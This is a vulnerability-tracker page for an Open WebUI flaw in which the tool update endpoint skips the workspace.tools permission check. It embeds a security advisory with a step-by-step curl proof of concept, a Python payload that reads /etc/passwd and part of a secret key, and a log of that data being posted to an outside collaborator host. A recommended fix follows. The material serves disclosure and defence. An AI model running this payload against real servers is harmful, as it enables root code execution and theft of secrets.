CVE-2026-45395

highpriority · track · 0OT risk · elevatedEPSS 0.004 · 38 %ileEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.44% (38th) EPSS
CVSS 7.2 · high
Is it mine?
4 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · nvd

EPSS · scored 2026-10-27

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the tool update endpoint (POST /api/v1/tools/id/{id}/update) is missing the workspace.tools permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended workspace.tools security boundary. This vulnerability is fixed in 0.9.5.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.2
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.6–7.2

v3.17.2highAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 1.2 · impact 5.9
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.16.6mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-p4fx-23fq-jfg6Open WebUI: Missing `workspace.tools` Authorization Check on Tool Update Endpoint Allows Privilege Escalation to Code Execution2026-05-14ghsa · osvUS

    ### Summary The tool update endpoint (`POST /api/v1/tools/id/{id}/update`) is missing the `workspace.tools` permission check that is present on the tool create endpoint. This allows a user who has been explicitly **denied** tool management capabilities ( and who the administrator considers **untrusted** for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended `workspace.tools` security boundary. Open WebUI's security policy correctly states that `workspace.tools` is the trust boundary for code execution: *"Granting a user the ability to create Tools is equivalent to giving them shell access to the server."* This vulnerability breaks that boundary. A `write` access grant on a single tool is sufficient to bypass `workspace.tools` entirely. This is **not** a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a **missing authorization check** that allows an untrusted user to reach the exec() sink that should be gated behind `workspace.tools`. ### Root Cause The create and update endpoints for tools have **asymmetric authorization checks**. The create endpoint enforces the `workspace.tools` permission; the update endpoint does not. #### Create endpoint, enforces `workspace.tools` **File**: `backend/open_webui/routers/tools.py`, lines 326-345 ```python @router.post('/create', response_model=Optional[ToolResponse]) async def create_new_tools( request: Request, form_data: ToolForm, user=Depends(get_verified_user), db: AsyncSession = Depends(get_async_session), ): if user.role != 'admin' and not ( await has_permission( user.id, 'workspace.tools', # ← CHECKED request.app.state.config.USER_PERMISSIONS, db=db ) or await has_permission( user.id, 'workspace.tools_import', # ← CHECKED request.app.state.config.USER_PERMISSIONS, db=db ) ): raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) # ... proceeds to exec(content, ...) at line 367 ``` #### Update endpoint does NOT enforce `workspace.tools` **File**: `backend/open_webui/routers/tools.py`, lines 451-485 ```python @router.post('/id/{id}/update', response_model=Optional[ToolModel]) async def update_tools_by_id( request: Request, id: str, form_data: ToolForm, user=Depends(get_verified_user), db: AsyncSession = Depends(get_async_session), ): tools = await Tools.get_tool_by_id(id, db=db) # ... if ( tools.user_id != user.id and not await AccessGrants.has_access( user_id=user.id, resource_type='tool', resource_id=tools.id, permission='write', # ← only checks write grant db=db, ) and user.role != 'admin' ): raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) # NOTE: No has_permission(user.id, 'workspace.tools', ...) check # ... proceeds to exec(content, ...) at line 485 tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content) ``` The `write` access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a `write` grant allows editing metadata and content. On tools specifically, because the update endpoint triggers `exec()`, a `write` grant silently escalates to code execution but **only because the `workspace.tools` check is missing**. If the check were present (as it is on create), the `write` grant would not confer execution privilege. ### Prerequisites 1. **Attacker (Bob)**: A regular user account with **no** `workspace.tools` permission. `workspace.tools` is disabled by default (`config.py:1364-1366`), so this is the **default state** for all non-admin users. 2. **Collaborator (Alice)**: A user with `workspace.tools` permission who creates a tool and grants `write` access to Bob. This is a normal collaboration workflow Alice is sharing editing access, not granting code execution rights. 3. No admin action required beyond the initial `workspace.tools` grant to Alice (which is the intended, documented workflow). **Note on default configuration**: The `workspace.tools` permission defaults to `false`. An administrator must explicitly enable it for at least one user (Alice). This is a **documented, recommended workflow** the security policy explicitly describes granting `workspace.tools` to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it. ## Proof of Concept ### Environment ```bash docker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main ``` Default configuration. Admin creates an account, enables `workspace.tools` for trusted users via Admin Panel > Settings > User Permissions. ### Step-by-step reproduction **Step 1 Setup users** Create two non-admin users: Alice (trusted, will get `workspace.tools`) and Bob (untrusted, will NOT get `workspace.tools`). ```bash ADMIN_TOKEN="<admin-jwt>" BASE="http://localhost:3000" # Create Alice ALICE=$(curl -s -X POST "$BASE/api/v1/auths/add" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"alice","email":"alice@test.com","password":"alice123","role":"user"}') ALICE_TOKEN=$(echo $ALICE | jq -r .token) ALICE_ID=$(echo $ALICE | jq -r .id) # Create Bob BOB=$(curl -s -X POST "$BASE/api/v1/auths/add" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"bob","email":"bob@test.com","password":"bob12345","role":"user"}') BOB_TOKEN=$(echo $BOB | jq -r .token) BOB_ID=$(echo $BOB | jq -r .id) ``` **Step 2 Admin enables `workspace.tools` globally** This is the documented workflow for allowing trusted users to build tools. ```bash # Get current permissions PERMS=$(curl -s "$BASE/api/v1/users/default/permissions" \ -H "Authorization: Bearer $ADMIN_TOKEN") # Enable workspace.tools PERMS=$(echo $PERMS | jq '.workspace.tools = true') curl -s -X POST "$BASE/api/v1/users/default/permissions" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d "$PERMS" ``` **Step 3 Alice creates a benign tool** ```bash curl -s -X POST "$BASE/api/v1/tools/create" \ -H "Authorization: Bearer $ALICE_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "id": "helper_tool", "name": "Helper Tool", "content": "class Tools:\n def hello(self):\n return \"Hello\"\n", "meta": {"description": "A benign helper", "manifest": {}} }' ``` **Step 4 Alice grants write access to Bob (collaboration)** Alice wants Bob to be able to edit the tool's description or parameters. This is a standard collaboration feature. ```bash curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/access/update" \ -H "Authorization: Bearer $ALICE_TOKEN" \ -H "Content-Type: application/json" \ -d "{\"access_grants\": [ {\"principal_type\": \"user\", \"principal_id\": \"$BOB_ID\", \"permission\": \"write\"} ]}" ``` **Step 5 Admin disables `workspace.tools`** Admin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools. ```bash PERMS=$(echo $PERMS | jq '.workspace.tools = false') curl -s -X POST "$BASE/api/v1/users/default/permissions" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d "$PERMS" ``` **Step 6 Verify Bob CANNOT create tools** ```bash curl -s -X POST "$BASE/api/v1/tools/create" \ -H "Authorization: Bearer $BOB_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "id": "bob_test", "name": "Test", "content": "class Tools: pass", "meta": {"description": "test", "manifest": {}} }' # Returns: HTTP 401 "401 Unauthorized" # Bob correctly CANNOT create tools. ``` **Step 7 Bob updates the tool content → code execution (the bypass)** Bob replaces the tool's Python content. The update endpoint does not check `workspace.tools`, only the `write` access grant. The new content is passed to `exec()`. ```bash curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/update" \ -H "Authorization: Bearer $BOB_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "id": "helper_tool", "name": "Helper Tool", "content": "import os, sys, json, platform, asyncio\n\nproof = {\n \"poc\": \"workspace.tools bypass via write grant\",\n \"whoami\": os.popen(\"whoami\").read().strip(),\n \"hostname\": os.popen(\"hostname\").read().strip(),\n \"pid\": os.getpid(),\n \"secret_key\": os.environ.get(\"WEBUI_SECRET_KEY\", \"\")[:16] + \"...\",\n}\ntry:\n proof[\"etc_passwd\"] = open(\"/etc/passwd\").read()[:300]\nexcept: pass\n\ntry:\n from open_webui.models.tools import Tools as ToolsModel\n loop = asyncio.get_event_loop()\n loop.run_until_complete(\n ToolsModel.update_tool_by_id(\"helper_tool\", {\n \"meta\": {\"description\": json.dumps(proof), \"manifest\": {}}\n })\n )\nexcept: pass\n\nclass Tools:\n def __init__(self): pass\n", "meta": {"description": "A benign helper", "manifest": {}} }' # Returns: HTTP 200 exec() ran. Bob achieved code execution. ``` ### Actual PoC Output The following is a complete run of the automated PoC script: ``` Step 1: Creating user 'bob' with NO workspace.tools permission... Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f Bob's role: user (NO workspace.tools) Step 2: Disabling workspace.tools globally... workspace.tools = false (globally) Step 2b: Verifying bob CANNOT create tools (no permission)... POST /tools/create as bob: HTTP 401 Correctly denied: 401 Unauthorized Step 3: Re-enabling workspace.tools for attacker, creating benign tool... Tool 'poc_rce_2' created by attacker Step 4: Attacker grants write access on poc_rce_2 to bob... Grant response: HTTP 200 Bob now has write access on poc_rce_2 Step 5: Disabling workspace.tools globally again... workspace.tools = false (globally) Step 6: Bob updates tool content with malicious Python... Bob has: write grant on poc_rce_2 ONLY Bob lacks: workspace.tools permission Endpoint: POST /api/v1/tools/id/poc_rce_2/update HTTP Status: 200 Tool updated exec() ran with bob's request! Step 7: Reading exfiltrated proof from DB... PRIVILEGE ESCALATION CONFIRMED: { "poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)", "vuln": "tools.py:467-481 update endpoint has NO workspace.tools check", "whoami": "root", "hostname": "3ffa54b2792d", "cwd": "/app/backend", "python": "/usr/local/bin/python3", "pid": 1, "platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36", "secret_key": "9GDyak0KOfrakPTM...", "etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/va" } ``` ### Burp Collaborator Evidence <img width="1198" height="555" alt="image" src="https://github.com/user-attachments/assets/f643d26b-47eb-49b8-8178-7348ee57afe3" /> The container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container: ```http POST /poc2 HTTP/1.1 Accept-Encoding: identity Content-Length: 720 Host: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com User-Agent: Python-urllib/3.11 Content-Type: application/json Connection: close {"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)", "vuln": "tools.py:467-481 update endpoint has NO workspace.tools check", "whoami": "root", "hostname": "3ffa54b2792d", "cwd": "/app/backend", "python": "/usr/local/bin/python3", "pid": 1, "platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36", "secret_key": "9GDyak0KOfrakPTM...", "etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."} ``` ## Security Boundary Violated Open WebUI's security policy defines `workspace.tools` as the trust boundary for code execution: > *"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server."* This vulnerability breaks that boundary: | Check | Create endpoint (line 333) | Update endpoint (line 467) | |-------|---------------------------|---------------------------| | `user.role == 'admin'` | Yes | Yes | | `has_permission('workspace.tools')` | **Yes** | **No** | | `has_permission('workspace.tools_import')` | **Yes** | **No** | | `AccessGrants.has_access('write')` | No | Yes | | `tools.user_id == user.id` | No (new tool) | Yes | The update endpoint substitutes `AccessGrants.has_access('write')` where `has_permission('workspace.tools')` should be. A `write` grant is a collaboration primitive for editing content; `workspace.tools` is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them. ## Impact An attacker with a regular user account and a `write` access grant on any single tool can: - Execute arbitrary server-side code as root (PID 1 in the default Docker deployment) - Read sensitive environment variables (`WEBUI_SECRET_KEY`, `OPENAI_API_KEY`, etc.) - Read/write the application database (all users' chats, files, API keys) - Read arbitrary files from the container filesystem - Make outbound network requests to internal services The attacker **never** needs `workspace.tools` permission. The administrator's explicit decision to deny this user code execution capability is bypassed. ## Remediation ### Recommended Fix Add the `workspace.tools` permission check to the update endpoint, matching the create endpoint's authorization gate: **File**: `backend/open_webui/routers/tools.py`, after line 481 (after the existing access check) ```python # Add workspace.tools check for content changes (code execution) if form_data.content != tools.content: if user.role != 'admin' and not ( await has_permission( user.id, 'workspace.tools', request.app.state.config.USER_PERMISSIONS, db=db ) or await has_permission( user.id, 'workspace.tools_import', request.app.state.config.USER_PERMISSIONS, db=db ) ): raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) ``` This allows users with `write` grants to update tool metadata (name, description, valves) without `workspace.tools`, but requires the permission for content changes that trigger code execution.

06

also known as (4)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-05-15modified 2026-06-17
08

references (5)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan